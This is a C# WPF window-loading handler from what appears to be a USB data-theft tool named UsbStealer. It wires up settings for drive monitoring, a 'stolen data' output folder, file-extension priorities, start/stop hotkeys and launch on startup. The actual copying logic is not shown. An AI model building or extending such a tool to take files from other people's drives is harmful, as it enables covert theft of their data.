private async void Window_Loaded(object sender, RoutedEventArgs e) { //Check Updates var updateCheck = new UpdateCheck(FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location).ProductVersion); await updateCheck.CheckUpdates(); if (!updateCheck.IsUpdated) { MessageBoxResult result = MessageBox.Show("Would you like to Update to the latest version?", "Update", MessageBoxButton.YesNo, MessageBoxImage.Question, MessageBoxResult.Yes); if (result == MessageBoxResult.Yes) { updateCheck.OpenDownloadingSite(); } } var keys = Enum.GetNames(typeof(Key)); ComboBoxStartHotKey.ItemsSource = keys; ComboBoxStopHotKey.ItemsSource = keys; if (!Settings.ReadFromFile(UsbStealer, this)) { Settings.Reset(UsbStealer, this); } UsbStealer.OnNewDriverAdded += UpdateListViewDrives; UsbStealer.OnStoppedMonitor += UsbStealerOnOnStoppedMonitor; UsbStealer.OnStartedMonitor += UsbStealerOnOnStartedMonitor; ButtonStartMonitor.DataContext = UsbStealer; ButtonStopMonitor.DataContext = UsbStealer; TextBoxStolenDataPath.DataContext = UsbStealer; TextBoxLogPath.DataContext = UsbStealer; TextBoxMonitorRefreshRate.DataContext = UsbStealer; TextBoxPrecedenceExtensions.DataContext = UsbStealer.FileTransferSettings; CheckBoxCopyFilesBySize.DataContext = UsbStealer.FileTransferSettings; ComboBoxStartHotKey.DataContext = UsbStealer; ComboBoxStopHotKey.DataContext = UsbStealer; CheckBoxEnableLogFile.DataContext = UsbStealer; CheckBoxShowProgress.DataContext = this; CheckBoxLaunchOnStartup.IsChecked = Autorun.IsEnabled(Assembly.GetExecutingAssembly().FullName); //Check Command Line Arguments CheckCommandLineArguments(); }